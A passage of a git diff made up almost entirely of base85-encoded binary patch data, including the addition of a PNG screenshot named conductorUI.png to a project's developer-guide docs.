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 literal 0 HcmV?d00001 diff --git a/docs/devguide/running/conductorUI.png b/docs/devguide/running/conductorUI.png new file mode 100644 index 0000000000000000000000000000000000000000..5f5ec8b564bf1cce53a5d1d8515d035375d37342 GIT binary patch literal 176920 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 